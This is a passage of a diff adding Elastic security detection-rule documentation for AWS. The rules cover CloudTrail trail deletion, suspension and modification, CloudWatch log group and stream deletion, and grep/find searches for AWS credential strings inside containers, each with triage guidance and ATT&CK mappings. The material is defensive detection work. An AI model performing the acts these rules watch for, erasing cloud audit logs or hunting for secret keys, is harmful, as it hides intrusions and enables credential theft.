event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-deleted.asciidoc new file mode 100644 index 0000000000..10d1587ea6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-deleted.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-20-aws-cloudtrail-log-deleted]] +=== AWS CloudTrail Log Deleted + +Detects deletion of an AWS CloudTrail trail via DeleteTrail API. Removing trails is a high-risk action that destroys an audit control plane and is frequently paired with other destructive or stealthy operations. Validate immediately and restore compliant logging. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_DeleteTrail.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/delete-trail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cloudtrail +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Deleted* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the deletion of an AWS log trail using the `DeleteTrail` API. Deleting a trail can eliminate visibility and is a strong indicator of defense evasion or sabotage. + + +*Possible investigation steps* + +- **Actor & target** + - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`. + - Confirm which trail was deleted (name/ARN, multi-region/organization status) from `aws.cloudtrail.request_parameters`. +- **Blast radius** + - Determine whether it was the only trail or if organization/multi-region coverage remains. + - Review preceding `StopLogging` or `UpdateTrail` and subsequent high-risk actions (IAM, S3, KMS, EC2 exports). +- **Data preservation** + - Verify S3 destinations and CloudWatch log groups for retained historical logs and file integrity validation. + + +*False positive analysis* + +- **Planned deletion**: Validate with tickets and decommissioning plans; ensure replacement/alternate trails exist. + + +*Response and remediation* + +- Recreate or re-enable compliant multi-region (or organization) trails immediately. +- Investigate the actor’s recent activity; rotate creds if compromise is suspected. +- Validate destination bucket policies, CMK policies, and event selectors for all active trails. +- Hardening: Restrict `cloudtrail:DeleteTrail` and enforce guardrails via AWS Config/SCPs; alert on future deletions. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "DeleteTrail" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-suspended.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-suspended.asciidoc new file mode 100644 index 0000000000..8272aac13e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-suspended.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-20-aws-cloudtrail-log-suspended]] +=== AWS CloudTrail Log Suspended + +Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_StopLogging.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/stop-logging.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cloudtrail +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Suspended* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the suspension of an AWS log trail using the `StopLogging` API. Attackers can do this to cover their tracks and impact security monitoring that relies on this source. + + +*Possible investigation steps* + +- **Actor & scope** + - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`. + - Determine which trail stopped and whether it’s multi-region or organization-wide. +- **Timing and impact** + - When did logging stop and resume (if at all)? Are there overlapping detections indicating activity during the gap? +- **Correlate activity** + - Search for sensitive API activity around the stop event (IAM changes, S3 policy changes, EC2 exports, KMS changes). + - Check for preceding `UpdateTrail` (e.g., destination change) and subsequent `DeleteTrail`. + + +*False positive analysis* + +- **Planned suspensions**: Rare; verify maintenance tickets and ensure post-change validation. + + +*Response and remediation* + +- Restart logging (`StartLogging`) immediately. +- Investigate actor’s recent activity; rotate credentials if suspicious. +- Validate trail configuration, destination bucket/CMK, and event selectors. +- Hardening: Limit `cloudtrail:StopLogging` to break-glass roles; alert on any future stops; enforce via AWS Config/SCPs. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "StopLogging" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-updated.asciidoc new file mode 100644 index 0000000000..c36cab9b8e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-updated.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-20-aws-cloudtrail-log-updated]] +=== AWS CloudTrail Log Updated + +Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_UpdateTrail.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cloudtrail +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Impact + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Updated* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Trail modifications can be used by attackers to redirect logs to non-approved buckets, drop regions, or disable valuable selectors. This rule identifies a modification on CloudTrail settings using the `UpdateTrail` API. + + +*Possible investigation steps* + +- **Actor and context** + - Check `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`; verify approved change. +- **Assess the modification** + - In `aws.cloudtrail.request_parameters`, note changes to: + - `S3BucketName`, `CloudWatchLogsLogGroupArn`, `KmsKeyId` + - `IsMultiRegionTrail`, `IncludeGlobalServiceEvents` + - Event or insight selectors (management vs data events) +- **Correlate** + - Look for preceding `StopLogging` or following `DeleteTrail`. + - Review concurrent IAM policy edits or role changes by the same actor. + + +*False positive analysis* + +- **Planned changes**: Baseline drift during region onboarding or encryption rotation. +- **Automation**: IaC pipelines updating trails as templates evolve. + + +*Response and remediation* + +- **If unauthorized** + - Revert to baseline; validate destination ownership and KMS policy. + - Investigate time ranges where visibility may have been reduced. +- **Hardening** + - Constrain `cloudtrail:UpdateTrail`, require approvals, and monitor with AWS Config rules. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "UpdateTrail" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudwatch-log-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudwatch-log-group-deletion.asciidoc new file mode 100644 index 0000000000..59006b193e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudwatch-log-group-deletion.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-20-aws-cloudwatch-log-group-deletion]] +=== AWS CloudWatch Log Group Deletion + +Detects the deletion of an Amazon CloudWatch Log Group using the "DeleteLogGroup" API. CloudWatch log groups store operational and security logs for AWS services and custom applications. Deleting a log group permanently removes all associated log streams and historical log data, which can eliminate forensic evidence and disrupt security monitoring pipelines. Adversaries may delete log groups to conceal malicious activity, disable log forwarding, or impede incident response. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-group.html +* https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogGroup.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon CloudWatch +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Tactic: Impact + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudWatch Log Group Deletion* + + +CloudWatch Logs is foundational to AWS observability, SIEM ingestion, audit pipelines, and incident response. +Log groups often contain retention-critical logs such as: + +- VPC Flow Logs +- Lambda function logs +- Application and container logs +- Security service logs (e.g., AWS WAF, RDS logs) + +Deletion of a log group removes all historical log streams and cannot be reversed. +Adversaries may leverage `DeleteLogGroup` to impair forensic visibility, disrupt monitoring, and hide evidence following malicious actions. This rule detects a successful `DeleteLogGroup` event initiated from a non–AWS Internal user agent, signalling potential defense evasion or disruption of logging pipelines. + + +*Possible investigation steps* + + + **Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. +- Determine whether this identity normally modifies CloudWatch Logs or is associated with automation. + +**Review deletion details** +- Inspect `aws.cloudtrail.request_parameters` to determine the exact log group deleted. +- Assess whether the log group provided visibility into: + - CloudTrail processing, + - Network flows (VPC Flow Logs), + - Serverless/application security logs, + - Lambda, ECS, EKS, or container workload logs. + +**Check source and context** +- Assess `source.ip` for unusual IPs, geolocations, VPN endpoints, or cloud provider ranges unfamiliar to your environment. +- Review `user_agent.original` for unexpected tools (custom agents, unusual SDKs, attackers using CLI default agents). + +**Correlate with surrounding activity** +Look for preceding or subsequent CloudTrail events such as: + +- `StopLogging`, `DeleteTrail`, or CloudTrail configuration changes +- IAM permission escalations (e.g., `PutUserPolicy`, `AttachRolePolicy`) +- Security service suppression actions (e.g., GuardDuty detector deletion) +- Lambda or application configuration updates that may indicate a compromise + +If the deleted log group was associated with a Lambda execution role, review for suspicious code updates or rogue deployments. + +**Assess business or security impact** +- Identify whether the deleted log group fed: + - SIEM ingestion + - Security analytics pipelines + - Compliance/audit logs + - Operational monitoring or alerting +- Contact the service owner or development team to verify whether the deletion was intentional. + +**Determine compromise scope if malicious** +- Use CloudTrail to identify prior activity by the same user identity or IP. +- Examine authentication events (IAM, STS) for signs of stolen credentials or session hijacking. +- Identify resources or applications dependent on the deleted logging pipeline. + + +*False positive analysis* + + +- **IaC-managed environments**: Tools like Terraform or CloudFormation may delete and recreate log groups during deployments. +- **Automated cleanup jobs**: Some environments use automated retention cleanup workflows. +- **Ephemeral testing accounts**: Development/testing accounts frequently create and destroy log groups. + +To tune noise: +- Add exceptions for specific automation IAM roles or trusted source IPs. +- Require `user_agent.original` and `source.ip` conditions for baseline-based tuning. + + +*Response and remediation* + + +**Containment** +- Immediately recreate the deleted log group (if appropriate) using IaC or CloudWatch Console. +- Restrict the IAM identity that performed the deletion until the activity is validated. +- Enable or confirm CloudTrail logging in all regions to maintain broader visibility. + +**Investigation** +- Review CloudTrail activity for: + - privilege escalation attempts, + - IAM role modifications, + - security service tampering (CloudTrail, Config, GuardDuty). +- Correlate with alerts from other services (GuardDuty, Security Hub, SIEM detections). + +**Recovery and hardening** +- Enforce least privilege on `logs:DeleteLogGroup`. +- Configure AWS Config rules to alert on missing or modified log groups. +- Implement log group retention policies and IAM SCP guardrails to prevent unauthorized deletion. +- Document log group ownership and expected lifecycle management. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "logs.amazonaws.com" + and event.action: "DeleteLogGroup" + and event.outcome: "success" + and source.ip: * + and not user_agent.original : "AWS Internal" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudwatch-log-stream-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudwatch-log-stream-deletion.asciidoc new file mode 100644 index 0000000000..a0ceb74d36 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudwatch-log-stream-deletion.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-20-aws-cloudwatch-log-stream-deletion]] +=== AWS CloudWatch Log Stream Deletion + +Detects the deletion of an Amazon CloudWatch log stream using the "DeleteLogStream" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-stream.html +* https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogStream.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon CloudWatch +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudWatch Log Stream Deletion* + + +CloudWatch log streams contain sequential log events from a single application, service, or AWS resource. +Deleting a log stream permanently removes its archived log events, which may disable monitoring workflows, eliminate +critical telemetry, or disrupt forensic visibility. + +Adversaries may delete log streams to cover their tracks after unauthorized actions, break ingestion pipelines feeding SIEM, alerting, or anomaly detection or to remove evidence before escalating privileges or moving laterally. This rule detects successful invocations of the `DeleteLogStream` API from CloudTrail. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Confirm whether the user or role normally manages CloudWatch Logs resources. + +- **Review request details** + - Inspect `aws.cloudtrail.request_parameters` to determine which log stream and parent log group were deleted. + - Assess the importance of the deleted stream: + - Was it used for VPC Flow Logs, CloudTrail, Lambda functions, ECS tasks, or application logs? + - Did it contain logs used for security detection or compliance auditing? + +- **Examine request origin and context** + - Review `source.ip` and `user_agent.original` for anomalies (e.g., unfamiliar CLI tools, suspicious automation, + unknown IP ranges, or external geolocations). + - Validate whether the request originated from a legitimate automation host or jump box. + - Check activity around the same timestamp for related operations such as: + - `DeleteLogGroup` + - `StopLogging`, `UpdateTrail`, or `DeleteTrail` + - GuardDuty detector or CloudWatch alarm deletions + - IAM policy or role modifications + +- **Determine operational justification** + - Consult change management systems or deployment pipelines to confirm whether the deletion was planned. + - Contact application owners or platform teams to determine whether the log stream was part of normal rotation or cleanup. + +- **Investigate broader compromise indicators** + - Look for suspicious activity by the same identity in the past 24–48 hours, such as: + - Failed authentication attempts + - IAM privilege escalations + - Unusual STS AssumeRole usage + - Access from new geolocations + + +*False positive analysis* + + +- **Log rotation and automation** + - Some systems delete log streams automatically when rolling new deployments or recycling compute resources. + - CI/CD pipelines managing immutable infrastructure may delete and recreate streams during each deploy. + +- **Test and development accounts** + - Dev/test environments may frequently create and delete log streams as part of iterative work. + +- **Bulk cleanup operations** + - Platform engineering teams may delete obsolete log streams during cost-optimization or log-retention management. + +If the rule triggers frequently from known infrastructure accounts or automation hosts, consider adding narrow exceptions using a combination of IAM role, IP range, or user agent. + + +*Response and remediation* + + +- **Containment** + - If the deletion is unauthorized, review other CloudWatch resources for additional tampering (alarms, log groups, metric filters). + - Temporarily restrict permissions for the implicated IAM user or role. + +- **Investigation** + - Reconstruct any missing telemetry from alternative sources (e.g., S3 buckets, application logs, third-party logging systems). + - Review CloudTrail and Config timelines for preceding suspicious events. + - Validate whether the deleted log stream contained evidence of prior compromise. + +- **Recovery and hardening** + - Implement IAM least-privilege for `logs:DeleteLogStream`. + - Enable AWS Config rules to monitor CloudWatch Logs configuration changes. + - Ensure that business-critical log groups enforce minimum retention periods and prevent accidental deletion. + - Integrate log stream lifecycle management into CI/CD to avoid manual deletions. + - Establish guardrails using Service Control Policies (SCPs) to block log deletions outside designated automation roles. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "logs.amazonaws.com" + and event.action: "DeleteLogStream" + and event.outcome: "success" + and source.ip: * + and not user_agent.original : "AWS Internal" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-credentials-searched-for-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-credentials-searched-for-inside-a-container.asciidoc new file mode 100644 index 0000000000..16edd363dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-credentials-searched-for-inside-a-container.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-20-aws-credentials-searched-for-inside-a-container]] +=== AWS Credentials Searched For Inside A Container + +This rule detects the use of system search utilities like grep and find to search for AWS credentials inside a container. Unauthorized access to these sensitive files could lead to further compromise of the container environment or facilitate a container breakout to the underlying cloud environment. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sysdig.com/blog/threat-detection-aws-cloud-containers/ + +*Tags*: + +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS Credentials Searched For Inside A Container* + + +Containers often house applications that interact with AWS services, necessitating the storage of AWS credentials. Adversaries may exploit this by using search utilities to locate these credentials, potentially leading to unauthorized access. The detection rule identifies suspicious use of search tools within containers, flagging attempts to locate AWS credentials by monitoring specific process names and arguments, thus helping to prevent credential theft and subsequent attacks. + + +*Possible investigation steps* + + +- Review the process details to identify the specific search utility used (e.g., grep, find) and the arguments passed, focusing on those related to AWS credentials such as aws_access_key_id or aws_secret_access_key. +- Check the user context under which the suspicious process was executed to assess whether it aligns with expected behavior for that user or role within the container. +- Investigate the source of the container image to ensure it is from a trusted repository and has not been tampered with, which could indicate a supply chain compromise. +- Analyze recent activity logs for the container to identify any other suspicious behavior or anomalies that might correlate with the search for AWS credentials, such as unexpected network connections or file modifications. +- Review access logs for AWS services to detect any unauthorized or unusual access patterns that might suggest the use of compromised credentials. + + +*False positive analysis* + + +- Routine maintenance scripts or automated processes may use search utilities to verify the presence of AWS credentials for legitimate configuration checks. To handle this, identify and whitelist these specific scripts or processes by their unique identifiers or execution paths. +- Developers or system administrators might manually search for AWS credentials during debugging or configuration tasks. Implement a policy to log and review these activities, and consider excluding known user accounts or roles from triggering alerts during specific time windows or in designated environments. +- Security audits or compliance checks often involve searching for sensitive information, including AWS credentials, to ensure proper security measures are in place. Coordinate with audit teams to schedule these activities and temporarily suppress alerts during these periods, or exclude specific audit tools from detection. +- Continuous integration and deployment (CI/CD) pipelines might include steps that search for AWS credentials to validate environment configurations. Identify these pipelines and exclude their associated processes or container environments from triggering alerts, ensuring that only authorized CI/CD tools are used. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized access or data exfiltration. This can be done by stopping the container or disconnecting it from the network. +- Revoke any AWS credentials that were potentially exposed or accessed. This includes rotating keys and updating any services or applications that rely on these credentials. +- Conduct a thorough review of the container's file system to identify any unauthorized changes or additional malicious files that may have been introduced. +- Implement stricter access controls and monitoring on AWS credentials within containers, ensuring they are stored securely and accessed only by authorized processes. +- Escalate the incident to the cloud security team to assess the potential impact on the broader cloud environment and determine if further investigation or response is needed. +- Enhance logging and monitoring for similar activities across other containers and cloud environments to detect and respond to future attempts promptly. +- Review and update container security policies to include best practices for credential management and access control, reducing the risk of similar incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the 